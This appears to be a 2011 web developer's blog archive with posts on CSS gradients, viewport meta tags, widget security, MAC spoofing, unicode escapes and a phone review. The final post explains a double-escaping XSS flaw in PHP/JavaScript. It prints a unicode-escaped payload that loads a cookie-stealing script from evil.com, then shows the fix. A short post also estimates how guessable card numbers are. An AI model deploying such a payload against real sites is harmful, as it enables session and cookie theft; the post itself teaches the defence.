There were a few sites that helped with this, in particular CSS tricks. A few printfs later and I had simple gradients done.

The code was simple, and handled a very specific case. It didn't work with all possible gradients, and wouldn't be able to handle a sprite, but this is how projects grow. You don't try to solve everything at the start. You solve a use case and push it out there to find out what people want.

The last time around I pushed it out to the mailing list and got a lot of feedback, patches and even a mentor. This time I announced it on twitter and got a bunch of feedback and a ton of retweets.

The physics of gradients

Today I decided to look at multi-colour gradients. Not because anyone had asked for it, but because I thought it might be interesting to figure out where a colour shows up.

Now there are various ways to look at a gradient. If you think about it from a physics background, it's essentially a particle moving with constant velocity. Each pixel position is a unit of time and the colour value is the particle's position at that point in time. The position at any point of time is calculated by the second equation of motion:
s = ut + ½at²
For a simple two colour gradient, there's no acceleration, and the velocity u is the difference in the two colours divided by the number of pixels in that direction. This is the same as the difference in colour of adjacent pixels (colour differential per unit pixel).

The cool thing is that for CSS, you only need to specify the end points and it will fill in everything else.

Multi-colour gradients

When dealing with multi-colour gradients, you need to figure out where the stop points are. Once you know what the colour velocity at the start of the gradient, you keep iterating through the image until the velocity is no longer what you expect it to be. This is a colour stop. Note down the new colour and its position and restart.

To speed things up, rather than look at every pixel along the way, I exponentially increase the pixel index that I look at until I hit a bump and then backtrack till I find what I was looking for. A sort of binary search.

Putting it all together, I ended up with this example page which has gradient images and the equivalent CSS gradient side by side. There are still limitations, but none that I care to fix at the moment.

Other tools

Also of note is Alex Sirota's Gradient Editor as part of Colorzilla. It's completely web-based and can also take in a file upload and generate a gradient from that. It doesn't handle the rainbow gradient yet, but I suppose it won't be too hard to get around that.

pngtocss

In any case, pngtocss is on github at https://github.com/bluesmoon/pngtocss, feel free to fork it and submit patches. The code isn't pretty and isn't really commented either.

Wednesday, April 13, 2011

How much do you trust third party widgets?

It's fairly common to find third party widgets installed on websites today. My own blog includes widgets from twitter, delicious, google analytics and google translate, and in the past I've included mybloglog and technorati as well. The facebook like button, facebook comments, disqus comments, badges from sharethis and more are all over the place. This is a great way to engage with your readers, get feedback from them, and let them get the word out about your site, but how secure is it? When we include a third party widget on our sites, what exactly do we trust the third party to do and not do?

In particular, this mostly refers to widgets that require you to add links to their JavaScript into your page using a <script> node. There are a few that work through iframes, and while there are still a few issues with that, the script nodes are the ones that can do you the most damage.

Not be evil

For starters, we trust the third party to not be evil. We trust that the JavaScript they serve us will:
  • not try to steal the data our users give us through the website,
  • not manipulate our page content in malicious ways,
  • not track our user's actions in any ways that we haven't authorised them to do,
  • probably more...
For the most part, the widget provider stakes their reputation on the quality and the chastity of the widgets they provide. Anything malicious found in their widgets would affect a large number of sites, but would cause terrible PR and contractual problems for the provider. For most of us small blog authors, dots on the long tail as it were, the widget provider has far more to lose than we do. For a large company, like say one of these widget providers themselves, though, there's much more at stake, so don't be surprised if you don't see third party widgets on Google, Yahoo!, Microsoft, Facebook, Twitter, Amazon, Ebay and any other large site you can think of. They probably have much more (or at the least an equal amount) to lose than the widget provider.

Not be careless

We're also trusting the widget provider to not be careless. We expect them to be diligent about the security of their own systems. If someone malicious were to break into a third party widget provider, they could then manipulate the JavaScript served out to our sites. Same problem as above, same repercussions, but slightly different entity responsible. It's possible for the widget owner in this case to claim that they were also the victim. That doesn't make it better for anyone, it just shifts the blame.

Not be too trusting

We don't just trust the widget provider, but also their hosting provider and their DNS registrar. This is a sub-topic under the don't be careless part above, but there may be another entity involved here. Running a whois lookup on the widget provider's hostname will tell you who their DNS registrar is. Do you trust them to not get compromised and have DNS redirected? Does the widget provider use SSL to guarantee that the host you're connecting to is in fact a host they own? Can you trust SSL?

Not go down

Let's face it... how many times have you had a twitter (or any other) widget on your page that showed nothing? Perhaps you're being rate limited, perhaps the service is down for maintenance, or something else. That huge blank space where your widget should be looks kinda bad. Not really a security issue, but it hurts your site's image.

There's little doubt why large companies won't trust a third party's JavaScript on their own sites. In exceptional cases, they may contract with the third party to get the JavaScript onto their own servers where they can guarantee that it doesn't change, and can pull the plug quickly if something goes wrong.

What about you? Do you run a website that includes third party widget JavaScript on your site? Are you big or small? Would you keep this up when you became big?

Saturday, April 09, 2011

overflow:hidden, border-radius and position:absolute

In my last post, I showed off some CSS fun with border-radius and overflow:hidden. Truth be told, that post started out about a bug with WebKit based browsers in relation to those attributes, but when I got down to writing the post, I couldn't reproduce the bug. Today, while trying to animate it, I managed to isolate the problem, and it turns out that I'm not the only one.

The problem in brief is that the contents of a container with overflow:hidden will still overflow its border if you have border-radius set and position set to anything other than static. Bug 50072 on WebKit describes a similar issue in more detail, and I've posted my comments at the bottom of that bug. I've created a minimal test case on JSFiddle.

The problem only shows up when you set the container's position style attribute to something other than static (which is the default).

I've tested in the latest versions of Firefox, Chrome, Safari and Opera, and Firefox is the only one that renders it correctly.

Now before you go asking me to test on the latest WebKit, rest assured that it's compiling as I write this. I'll try and submit a fix if it still exists and I can figure out what needs patching, but given that position:static works correctly, it may just be a matter of seeing what's different with those two flows.

Update 2016-10-28: This appears to be fixed on the latest versions of Chrome, Firefox, Safari and Opera:

Bug fixed version

Wednesday, March 30, 2011

overflow:hidden and border-radius

So what exactly needs to happen when you set overflow:hidden on a container element? At which pixel point do the element's contents get hidden? Is it at the padding, the inside of the border, the outside of the border, the outline or somewhere else?

The spec sort of states that it's at the border or padding (depending on background-clip):
Other effects that clip to the border or padding edge (such as ‘overflow’ other than ‘visible’) also must clip to the curve.
With that in mind, I decided to throw rounded corners into the fray and have some fun:

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?
Caveat: Opera is broken.

Anyone wanna try a deathstar?

Monday, March 28, 2011

Spoofing your MAC address on MacOSX 10.6

There are various reasons why one might need to spoof ones MAC address. For example, your ISP may have bound your connection to your MAC address, and then you had to change your network card because the old one was fried by a lightning strike (this actually happened to me). Another reason is privacy. You may want to change your MAC address if you're surfing the net from a coffee shop with free wifi to make sure no one sniffing the network can identify you. Whatever the reason, the actual commands to (temporarily) change your MAC address are quite straightforward.

Note that these commands work on Linux, FreeBSD and MacOSX (at least versions greater than 10.5).

Before you do anything, make sure the port is up:
sudo ifconfig <iface> up
Where iface is the network interface. This should be something like en0 for the ethernet port on MacOSX, or eth0 for a linux box, etc. If you're not sure, just run the ifconfig command without any arguments... although if you're not sure, you probably shouldn't be doing this anyway ;)

Now, once your interface is up, you can change its MAC address. This only lasts until the next reboot, but given that I almost never shutdown my laptop, it's as good as permanent.

For the ethernet port:
sudo ifconfig en0 ether <new MAC address>
This works even if you're currently connected to a network.

For the wireless card, first disconnect from any wireless networks. I've found that the easiest way to do this is to try to connect to a network that doesn't exist. From your Airport icon in the menu bar, choose "Join Other Network", and type in some random string. Note that you don't need to do this if your airport doesn't automatically connect to a wireless network.

Once you've disconnected, just run the command as above, but for the en1 interface:
sudo ifconfig en1 ether <new MAC address>
You can now reconnect to any wireless network.

Note that even though this is temporary, I do have it set up to be more or less permanent on Ubuntu through my network startup scripts. I'll publish them some other time.

Sunday, March 27, 2011

HTC Freestyle: First Impressions

I got an HTC Freestyle from AT&T today. It was free, so I can't complain about the price, however it's a bit of a downgrade from my E71. First, what I like about it.

It has a decently sized touchscreen, and the Twitter+Facebook app is pretty decent. The browser is WebKit based and handles CSS @media queries correctly. It even switches correctly when you rotate, which the iPhone gets wrong.

On the downside though, rotating from portrait to landscape is not automatic. You need two clicks to tell the browser that you've rotated. No accelerometer in this phone. Which brings us to the things I don't like about it.

No GMail and GMaps apps for it. Since the primary reason I went in for a smartphone was to check my email and use the GPS while I'm on the road, this makes the phone a complete non-starter. The sales rep at AT&T told me that it was an Android device, but once I got it home and looked it up, it turns out that that isn't true. It runs something called Brew MP.

Transferring contacts from my older phone is clumsy, but doable. The main problem here is that I need to use the SIM card to transfer contacts and it just doesn't have enough space for all my contacts.

I could set my ringtone on the E71 to any mp3 file that I had access to. On the HTC Freestyle, it's limited to files under 300KB. Seriously. Kilobytes. What is this? The 80's? My current ring tone on my 3 year old Nokia is 6.4MB.

After using the real keyboard on the E71, the onscreen keyboard on this device is extremely clumsy to use. I've made mistakes on every occasion that I've needed to use the keyboard. I even make mistakes trying to hit the backspace key. I guess I'll get used to this eventually, however one thing to note is that the E71 does far more with just one key than this phone can do with its keyboard. The main problem is the number of times your hands/fingers need to move in order to type or even to just select menu items.

No wifi. 'Nuff said.

Ok, so that's it for the "Smart" part of the phone. Now to the phone part.

I tried to make a call when I got out of the AT&T store. The call dropped after 3 seconds. Remember, this is right outside the AT&T store. All the phones inside the store had decent signal strength. I thought it may have been due to the battery having almost no charge (since it was a new phone), so took it home and charged it up, but it hasn't changed. On 8 out of 9 calls that I've made so far I've been unable to hear what the other party says though they can hear me.

Switching on the speakerphone requires two clicks after the call connects. On the E71 it was one click while the phone was ringing. This makes a big difference because the person at the other end has no idea what's happening while you're switching on the speakerphone. It also makes it impossible to answer the phone in speaker mode while driving.

The speakerphone sound quality is also pretty bad. It's not clear when soft, and starts jarring when loud. There doesn't seem to be an optimum volume setting for it.

All in all, this is not a phone I'd pay for.

Friday, March 18, 2011

X-XSS-Protection

Internet Explorer 8 has a "useful" feature where it tries to detect if a page is under an XSS attack. If it thinks it has detected an attack, it will disable the malicious code and warn the user about it. Sound good on the surface of it, except that it's often wrong, often with ads. In most cases with security issues, it's better to err on the side of caution, but what happens here is that IE ends up warning your users about non-existent security issues on your site. Users lose trust in your site and everyone loses.

If you already take proactive steps to protect your users from XSS attacks, you SHOULD disable the check and warning. To do this, add the following HTTP header to all your responses:
X-XSS-Protection: 0
How you do that depends on the server you're using. For apache, you'd add this to one of your apache conf files:
Header add X-XSS-Protection 0
TTYL

Saturday, January 29, 2011

Printing unicode characters in web documents

I often have to look up reference sites to find out how to write a particular character in HTML, JavaScript or CSS when that character isn't on my keyboard. This post should save me some searching time in future.

To type a character that's not on your keyboard, you need its unicode codepoint in decimal or hexadecimal. In the examples below, HH means two hexadecimal digits, DD means two decimal digits, HHHH is four hexadecimal digits, and so on. DD+ means two or more decimal digits, HH+ means two or more hexadecimal digits.

HTML

To type out unicode characters in HTML, use one of the following:
  • &#DDD+;
  • &#xHHH+;
eg:
Ɖ == &#393;
Ɖ == &#x189;
‡ == &#x2021;

JavaScript

To type out unicode characters in JavaScript, use the following:
  • \uHHHH
eg:
 == \u2021

CSS

To print out a unicode character using CSS content, use the following:
  • \HH+
eg:
 == \2021
(Note: the CSS example that I've used here only works in browsers that support the :before pseudo class and the content rule, but in general you can use unicode characters anywhere in CSS.)

URL

URL context is different from HTML context, so I'm including it here.

To print a unicode character into a URL, you need to represent it in UTF-8, using the %HH notation for each byte.
eg:
‡ ==  %E2%80%A1
л ==  %D0%BB
' ==  %39
This is not something that you want to do by hand, so use a library to do the conversion. In JavaScript, you can use the encodeURI or encodeURIComponent functions to do this for you.

End notes

Use escape sequences only in two cases.
  1. Your editor or keyboard doesn't allow you to type the characters in directly.
  2. The characters could be misinterpreted as syntax, eg < or > in HTML.

References and Further Reading

  1. List of Unicode Characters on WikiPedia
  2. UTF-8 on WikiPedia
  3. Unicode and HTML on WikiPedia
  4. JavaScript Unicode Escape Sequences on Mozilla Developer Network
  5. Richard Ishida. 2005. Using Character Escapes in Markup and CSS in W3C Internationalisation.

Tuesday, January 25, 2011

device-width and how not to hate your users

I've been catching up on my technical reading, and this weekend was spent on Responsive Enhancement1. I'd read about it before on Jeremy Keith's blog and his comments on proportion perfection over pixel perfection2 made me think. Finally, Kayla's report3 on Smashing Magazine about responsive web design coming up as I was thinking about making bluesmoon.info more mobile friendly is what prompted me to study it in detail.

I'm not going to go into the details of responsive enhancement, the references at the end of this article serve that purpose. This article lists what I think are best practices and my reasons for them.

@media queries

As a web designer or developer, you want your page to be easily viewable across different devices and screen sizes. It shouldn't matter whether your user uses a 21" desktop monitor, a 13" laptop, a 10" iPad or a much smaller smartphone. Responsive web design uses @media queries to change the layout of the page using CSS based on browser width. You might have CSS that looks like this:
/* Default wide-screen styles */

@media all and (max-width: 1024px) {
    /* styles for narrow desktop browsers and iPad landscape */
}

@media all and (max-width: 768px) {
    /* styles for narrower desktop browsers and iPad portrait */
}

@media all and (max-width: 480px) {
    /* styles for iPhone/Android landscape (and really narrow browser windows) */
}

@media all and (max-width: 320px) {
    /* styles for iPhone/Android portrait */
}

@media all and (max-width: 240px) {
    /* styles for smaller devices */
}
And yes, you could go smaller than that, or have intermediate sizes, but I'll cover that later.

viewports

Now this works reasonably well when you resize desktop browsers4, but not so much for mobile browsers. The problem is that mobile browsers (iPhone/Safari, Android/Chrome and Fennec) assume that the page were designed for a wide screen, and shrink it to fit into the smaller screen. This means that even though users could have had a good customised experience for their smaller devices, they won't because the device doesn't know about this5. The trick is to use Apple's viewport6, 7, 8 meta tag in your document's head in conjunction with @media queries9:
<meta name="viewport" content="...">
I've left the content attribute empty for now because this is where I see confusion... which is what we'll talk about now.
width=device-width
Most sites that I've seen advise you to set the content attribute to width=device-width. This tells the browser to assume that the page is as wide as the device. Unfortunately, this is only true when your device is in the portrait orientation. When you rotate to landscape, the device-width remains the same (eg: 320px), which means that even if your page were designed to work well in a 480px landscape design, it would still be rendered as if it were 320px.

It's tempting to use the orientation media query to solve this problem, but orientation doesn't really tell you the actual width of the device. All it tells you is whether the width is larger than or smaller than the device's height. As ppk points out5, since most pages tend to scroll vertically, this is irrelevant.

Use this if you use the same page styles in portrait and landscape orientation. Also note that using width=device-width is the only way to tell android devices to use the device's width12.
initial-scale=1.0,maximum-scale=1.0
Setting initial-scale=1 tells the browser not to zoom in or out regardless of what it thinks the page width is. This is good when you've designed your page to fit different widths since the browser will use the appropriate CSS rules for its own width, and initial-scale stops the zooming problem that we faced without the viewport meta tag.

Unfortunately a bug, or more likely a mis-feature, in mobile safari messes this up when a device is rotated from portrait to landscape mode. initial-scale is honoured only on full page load. On rotate from portrait to landscape mode, the browser assumes that the page width stays the same and scales accordingly (1.5) to make 320 pixels fit into 480pixels. However, as far as @media queries go, it reports a 480px width, and uses the appropriate CSS rules to render the page. This results in a page designed for 480px rendered scaled up 1.5 times. It's not horrible, but it's not desirable. Fennec claims8 that it does the right thing in this case. The Android emulator is impossible to work with and I haven't tested on mobile Opera yet.

To get around this bug, the pixel perfection camp suggests also setting maximum-scale=1. This stops the page zoom in on rotate, but it has the undesired side effect of preventing the user from zooming the page. This is a problem from the accessibility point of view. Zooming in is a very valid use case for users with bad eyesight, and in some cases, even users with good eyesight who just want a closer look at some part of your page. Do this only if you hate your users. It goes without saying that setting user-scalable=no should also not be used on most general purpose pages.

A better solution may be design your page to use the same styles in portrait and landscape orientation and set width=device-width. This way even if it does zoom, it will still be proportionate. See Lanyrd10 for an example of this design.
width=<actual width>
Some sites advise using a specific viewport width and designing your pages for that width. This is fine if you're building a separate page for each device class, but that doesn't flow with the concept of responsive design. Fixed width layouts are for print. The web is fluid and adapts to its users. Your site should too. Don't use this.
@media all and (device-width:480)
While this is a media query rather than an option to the viewport meta tag, I've seen it at various locations, and don't think it's the best option around. Here's why. According to the CSS3 media queries spec11, the device-width media feature describes the width of the rendering surface of the output device. For continuous media, this is the width of the screen. For paged media, this is the width of the page sheet size.

We're dealing with continuous media here (on-screen as opposed to printed), in which case the spec states that this is the width of the screen. Unless the browser window is maximised, this might be larger than the viewport with. My tests show that most desktop browsers treat device-width and width as synonyms. Mobile browsers seem a little confused on the matter. As far as the viewport meta tag goes, device-width is the width of the device in portrait orientation only. For a 320x480 device, device-width is always 320px regardless of orientation. For CSS media queries, however, device-width is the width of the screen based on its current orientation.

If you are going to use this, use it in conjunction with the orientation media feature. Never use max-device-width and min-device-width. It's better to use max-width and min-width instead. Also remember that device widths may change with newer models. You want your design to be future proof.

Intermediate widths

I'd mentioned above that you could design for any number of widths. The important thing is to test your page for different browser widths. This is fairly easy to do just by resizing your browser window. Test, and whenever you find your page layout break, either fix the layout for all widths, or build a new layout for smaller widths.

On bluesmoon.info, I change many parts of the page depending on page width. The default design (at the time of this article) has 5% empty space around the content. This is fine really wide screens (1152px or more), but as you get smaller, the empty space becomes a waste. Below 1152px, I shrink this to 2% and below 1024px, I get rid of it completely. You could say that my page content was really built for 1024px. This design also works for the iPad in landscape mode.

Below 1000px, all 3 column pages switch to a 2 column layout. Below 580px, I move the right column on all pages below the main content. All pages that initially had 3 columns now have 2 columns below the main content.

As we get smaller, I reduce the space used by non-essential content like the footer, the sidebars and the menu at the top, leaving as much space as possible for main content. Finally, when we get below 380px, the whole page turns into a single column layout.

This is of course, just an example. Your own site may have a layout that works perfectly at all screen widths, or you may need to design only two or three layouts. It's easy to test and design, so there's no reason not to. Designing for multiple widths took me just a couple of hours, and a lot of it was spent reading the articles below.

Recommendations

So finally, this is what I recommend.
  1. DO use the viewport meta tag
  2. DO use media queries to render your page appropriately for various widths ranging from under 200px to 1024px or more
  3. DO use width=device-width,initial-scale=1 in your viewport meta tag OR use width=device-width alone12.
  4. DO NOT use maximum-scale=1 or user-scalable=no
  5. DO NOT use width=<specific width>
  6. DO NOT use @media all and (*-device-width: xxx)

Remember that using initial-scale=1.0 throws you open to a zooming bug in mobile Safari. Push Safari to fix this bug. Finally, David Calhoun has a great summary13 of all options to the viewport meta tag, and alternate meta tags for older phones. Well worth a read. Also note that Mozilla's documentation8 of the viewport meta tag is far better than Safari's7.

Footnotes & References

  1. Ethan Marcotte. 2010. Responsive Web Design. In A List Apart #306. ISSN: 1534-0295.
  2. Jeremy Keith. 2010. Responsive Enhancement. In adactio.
  3. Kayla Knight. 2011. Responsive Web Design: What It Is and How To Use It. In Smashing Magazine.
  4. Webkit based desktop browsers re-render the page correctly as you resize the browser, however they have a minimum width of 385px (on MacOSX) and I was unable to shrink the browser below this. Firefox 4 re-renders the page correctly until the width gets too narrow to fit the navigation toolbar. At that point the viewport width stays fixed even if you shrink the browser. The page is re-rendered if you type something (anything) into the URL bar. Opera 10/11 re-render correctly at all sizes.
  5. Peter Paul Koch. 2010. A tale of two viewports — part two. In Quirksmode.
  6. Using the Viewport on Safari. In Safari Web Content Guide.
  7. The viewport meta tag. In Safari HTML Reference.
  8. MDC. 2010. Using the viewport meta tag to control layout on mobile browsers. In Mozilla Developer Network.
  9. Peter Paul Koch. 2010. Combining meta viewport and media queries. In Quirksmode.
  10. Willison & Downe. Lanyrd.
  11. Lie et al. 2010. Media Queries. W3C Candidate Recommendation 27 July 2010.
  12. If you design your page for the narrow view and expect it to scale when rotated, then use width=device-width and nothing else. If, instead, you design your page for either width, then use width=device-width,initial-scale=1. This is the only way to get the android browser to render a page with the intended width. Mobile Safari will render the page exactly as if initial-scale=1 were specified alone. You will still end up with the zoom on rotate bug.
  13. David Calhoun. 2010. The viewport metatag (Mobile web part I).

Friday, January 21, 2011

How guessable is your credit card number?

I just saw an article over at Mint that explains what each digit in a credit card is used for. It's a short read, but very well presented. Go read it now, then come back here.

So I got to thinking. The first 6 digits of my card are based on the type of card I have, and the entire lookup is available online. The last 4 digits are generally printed on credit card receipts. Now for most credit cards that have an 8 or 9 digit account number, this leaves 5 or 6 unknown digits. In the worst case that's a million possibilities. This isn't the worst case though, because we know the checksum, which is the last digit, and shows up on credit card receipts. Using the Luhn algorithm, we can reduce the search space by 90%. This leaves 100,000 possibilities for the unknown 6 digit number. If you have an 8 digit account number, then the space reduces to 10,000 possibilities.

It takes a computer very little time to generate that many numbers.

Thursday, January 20, 2011

Sometimes you need to wash twice

When conversing across languages, informations is sometimes lost in translation.

The problem I'll talk about today deals with the different ways in which quotes can be represented in different contexts, in particular, when passing data across language boundaries. Let's look at some code.
<?php
   $s = filter_var($_GET['s'], FILTER_SANITIZE_SPECIAL_CHARS);
?>
<script>
   var s = "<?php echo $s; ?>";

   var div = document.getElementById("content");
   div.innerHTML = s;
</script>
From the HTML perpective, this code appears clean. Data from the URL parameter s needs to be written out to HTML and we're applying a suitable filter to it to make it safe for use in that context. This code would be fine if we were passing the data directly from PHP to HTML, but that's not what we're doing here.

Testing this code out with the usual suspects — <>&"' — shows that it's safe. You can neither insert HTML into the div, nor can you insert JavaScript by getting out of the quotes since all quotes in the input data are converted to &#34;

It seems that the worst that we can do here is to break the JavaScript by throwing a \ into the end of s. The output of our PHP becomes:
<script>
   var s = "...\";

   var div = document.getElementById("content");
   div.innerHTML = s;
</script>
The result is that our JavaScript terminates with an error after line 1, and that's the end of it... but maybe not.

The \ gives us a clue. In JavaScript, all characters are unicode, and we can represent any character by its unicode equivalent using the \u<codepoint>. This still doesn't help us get out of the quotes in JavaScript, but it does mess around with the innerHTML.

What we're doing in the innerHTML assignment is assigning a string to a div's innerHTML property, and then the browser goes ahead and renders that string as if it were HTML. In essence, innerHTML is to HTML what eval() is to JavaScript and PHP — a bad idea.

We can now craft a string made completely using the unicode escape sequences for JavaScript. For example, \u003cscript+src\u003d\u0022http://evil.com/cookie-steal.js\u0022\u003e\u003c/script\u003e

When assigned to the innerHTML, it turns into the following HTML:
<script src="http://evil.com/cookie-steal.js"></script>
Fortunately, browsers won't execute script nodes that were added using innerHTML. They will, however execute inline events on elements added through innerHTML, so we do this instead:
\u003cimg+src\u003dblah+onerror\u003d\u0022s=document.createElement(\u0027script\u0027);s.src\u003d\u0027http://evil.com/cookie-steal.js\u0027;document.body.appendChild(s);\u0022\u003e, which translates to the following HTML (indented for readability):
<img src=blah
   onerror="s=document.createElement('script');
            s.src='http://...';
            document.body.appendChild(s);">
The JavaScript fires in most cases. To get it to fire in all cases, you also need to attach to the onload event.

So, what's the fix here?

To think about the fix, we need to think about context, and every place this user data is being used. Depending on the actual use case, our fix may involve just one change, or several changes to the above code. One change is mandatory though:
<?php
   $s = filter_var($_GET['s'], FILTER_SANITIZE_SPECIAL_CHARS);
?>
<script>
   var s = <?php echo json_encode($s); ?>

   var div = document.getElementById("content");
   div.innerHTML = s;
</script>
The json_encode function returns a quoted JavaScript string. It correctly escapes all characters within that string that are special to JavaScript, so in our case, \u00xx turns into \\u00xx. Note that addslashes is insufficient as it does not escape newline characters which are valid inside PHP strings.

Two things to learn from this:
  1. When passing untrusted data across language boundaries, you may need to sanitize it multiple times
  2. innerHTML is the eval of HTML

...===...